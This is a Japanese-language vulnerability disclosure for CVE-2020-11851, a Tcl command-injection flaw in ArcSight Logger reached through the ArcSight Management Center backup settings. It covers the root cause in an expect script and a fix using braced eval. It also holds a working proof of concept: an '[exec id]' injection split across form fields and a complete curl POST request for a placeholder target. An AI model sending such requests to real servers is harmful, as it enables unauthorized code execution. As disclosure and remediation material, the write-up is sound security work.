
ArcSight Logger におけるリモートコード実行の脆弱性
ArcSight Logger におけるリモートコード実行の脆弱性 (ArcSight Management Center 経由)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
Vulnerability BackgroundArcSight Logger は、組織全体のマシンデータログを統合・保存し、そのデータに対する高速な検索とレポート作成を可能にすることで、コンプライアンスの負担を軽減し、セキュリティ専門家による迅速なフォレンジック調査を実現する、包括的なログ管理ソリューションです。
ArcSight Management Center (ArcMC) は、ArcSight Logger、ArcSight SmartConnectors (Connectors)、ArcSight FlexConnectors、ArcSight Connector Appliance (ConApp) などの ArcSight ソリューションの大規模展開を、単一のインターフェースで管理する集中型セキュリティ管理センターです。
この脆弱性は、ArcSight Management Center (バージョン: 2.7.1.2065.0) のバックアップ機能を介して悪用される可能性があります。このバックアップオプションは、Tool Command Language (Tcl) を使用する ArcSight Logger の “expect” スクリプトを使用して動作します。この脆弱性により、攻撃者は任意の Tcl コマンドを実行できます。この脆弱性は Micro Focus ArcSight Logger 製品に影響し、7.1.1 より前のすべてのバージョンに影響します。
Conclusion脆弱なソフトウェアが動作しているサーバーは、攻撃者によって RCE 脆弱性を介して侵害され、攻撃者が組織のサーバーに対してさらなる攻撃を開始するための足掛かりとなり、重大な侵害に至る可能性があります。この脆弱性は、データの損失、破壊、または許可されていない第三者への開示、説明責任の喪失、またはアクセスの拒否を引き起こす可能性があります。
Recommendations“expect” スクリプトに関する Tcl のセキュリティベストプラクティスを確認することをお勧めします。基本的に、eval で中括弧を使用すると、以下のように安全です:
eval puts $exploit ;# vulnerable
eval "puts $exploit" ;# vulnerable
eval {puts $exploit} ;# safe
詳細については、こちらをご覧ください: https://wiki.tcl-lang.org/page/Injection+Attack
このセクションでは、ArcSight Logger の脆弱性を検出するために使用できるコマンドインジェクションのベクトルについて詳しく説明します。以下のタイトルを使用して、攻撃手順を再現できます。
Exploring the vulnerable backup option管理タブには、バックアップオプションがあります。

ご覧のとおり、SCP プロトコルを使用してリモートバックアップサーバーを構成できます。「保存」ボタンをクリックした後、ここからダウンロードできるツール「pspy」を使用してサーバープロセスをデバッグしました: https://github.com/DominicBreuker/pspy/releases
Debugging the server & Root cause analysisバックアップ構成を保存した後、アプリケーションが以下のように SSH サーバーをチェックするために bash スクリプトを使用していることを検出しました (PID 95427 を参照してください):

説明のためのより詳細なコマンド (PID 95427) は次のとおりです:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
「runexpect.sh」のロジックを説明する前に、「runexpect.sh」と「scp.expect.dir.backup1」(expect スクリプト) の内容を見てみましょう。
「runexpect.sh」の内容は次のとおりです:
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
そして、これが「scp.expect.dir.backup1」と呼ばれる expect スクリプトの内容です:
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
ご覧のとおり、「runexpect.sh」は環境変数 (LD_LIBRARY_PATH) を設定し、「scp.expect.dir.backup1」と呼ばれる「expect」スクリプトを使用して「expect」バイナリを実行します。この「expect」スクリプトは、「ssh」コマンドで使用するために 4 つの引数を受け取ります。
実際の脆弱性は、「scp.expect.dir.backup1」という名前のスクリプトの 5 行目から始まります。前述のように、中括弧がない場合、ユーザーが指定した入力は Tcl スクリプトで非常に危険になる可能性があります。
Gaining the code executionこのコード実行の脆弱性は完全にブラインドであるため、私は最も簡単な方法で実行を実証しました。ツール「pspy」を使用してプロセスをデバッグし、悪意のある HTTP リクエストを送信することによる任意のコード実行を説明しました。
「expect」スクリプトに実行させたかったロジックは次のとおりです:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome
これを達成する方法を説明しましょう。関連する HTTP リクエストの「field-username」パラメータの「文字列」の間にスペースを入れると、引数の数を検証しないため、「expect」スクリプトに意図せず解析されます。つまり、ポート番号として [exec を、ユーザー名として id] を注入できるということです。通常、関連する HTTP リクエストのポート番号パラメータは、入力検証 (数字のみである必要があります) のため、注入できませんでした。
以下の HTTP リクエストを送信した後、コマンドの実行に成功し、その出力をツール「pspy」で出力しました。


以下は、脆弱性を悪用するために使用した対応する CURL リクエストです (セッション関連のトークンとターゲットを変更してください):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'